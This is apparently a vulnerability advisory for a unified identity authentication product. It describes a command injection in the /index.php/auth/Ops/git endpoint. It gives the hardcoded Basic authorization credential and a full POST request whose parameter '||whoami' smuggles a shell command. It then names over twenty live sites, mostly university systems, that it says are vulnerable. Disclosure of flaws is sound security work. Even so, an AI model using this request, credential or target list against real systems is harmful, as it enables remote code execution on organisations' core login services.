The system defines a git method in the ops interface, which is originally intended to call git commands.</br>
However, due to the lack of filtering checks on input parameters, an attacker can concatenate malicious parameters to create a remote command execution.</br>
To exploit this vulnerability, a header needs to be added: Authorization: Basic enl0ZWM6WUdEMHc3bW9FSw==, which is hardcoded in the code. Vulnerable interface path: /index.php/auth/Ops/git.</br>
</br>
Vulnerability request packet example:</br>
</br>
POST /index.php/auth/Ops/git HTTP/1.1</br>
Host: *</br>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8</br>
Authorization: Basic enl0ZWM6WUdEMHc3bW9FSw==</br>
Connection: keep-alive</br>
Content-Type: application/x-www-form-urlencoded</br>
Content-Length: 40</br>
</br>
cmd=142&cwd=&params[append]=||whoami</br>
</br>
These websites all have this vulnerability.</br>
This product is a unified identity authentication system, which is usually the core website of certain organizations, so the harm is significant.</br>
</br>
http://open.oit.edu.cn:8090</br>
http://open.ordosvc.cn:8008</br>
https://tpass.njtc.edu.cn</br>
https://open.lnnu.edu.cn</br>
http://58.56.90.180:9600</br>
http://124.93.107.66:8008</br>
http://ywtb.xafy.edu.cn</br>
https://ywtb.xafa.edu.cn</br>
https://cas.csiic.com</br>
https://uap.bcnu.edu.cn</br>
https://auth.seashell.vip</br>
http://open.dlust.edu.cn</br>
https://open.ccsfu.edu.cn</br>
https://open.imun.edu.cn</br>
https://open.btsvc.edu.cn</br>
http://my.csnu.edu.cn</br>
https://auth.imnu.edu.cn</br>
https://xgzt.xyafu.edu.cn</br>
https://survey.gsjtxy.edu.cn</br>
https://ncas.jdyfy.com</br>
https://authserver.imaa.edu.cn</br>
http://222.240.253.195:8008</br>
https://open.nwu.edu.cn</br>
</br>
The manufacturer's official website shows that there are more units using this product than just these:</br>
https://www.zytec.cn</br> 

The reference diagram is as follows.</br> 

<img src="./e3898504-05a4-46e3-8b54-a1068b3be39a.png" alt="diagram" /></br> 
<img src="./2da46976-c141-48bf-b4e6-8035a5b082e7.png" alt="diagram" /></br> 
<img src="./5bb589ec-1fe7-4711-bf6d-c607a634b78f.png" alt="diagram" /></br> 
<img src="./f88d6d13-fd68-44dd-af64-7a7013cc05ee.png" alt="diagram" /></br> 
<img src="./6e174656-4e35-4af4-8d81-7e97bf219949.png" alt="diagram" /></br> 
<img src="./50bb8f95-6f01-4d90-a4a9-8c721f8db24c.png" alt="diagram" /></br> 
<img src="./aab21c44-e620-4f16-8c2a-41725f34afdf.png" alt="diagram" /></br> 
<img src="./ba02f576-94f1-4dae-beb2-ff4cdfcccf93.png" alt="diagram" /></br> 


<img src="./f463dbaa-3d82-438c-b28c-98f0a25fc40d.png" alt="diagram" /></br> 
<img src="./fcbccbe9-d473-40ba-a5a6-dd41a8b0f0b3.png" alt="diagram" /></br> 
</br> </br> <h1>
                     THANKS FOR READING!</h1>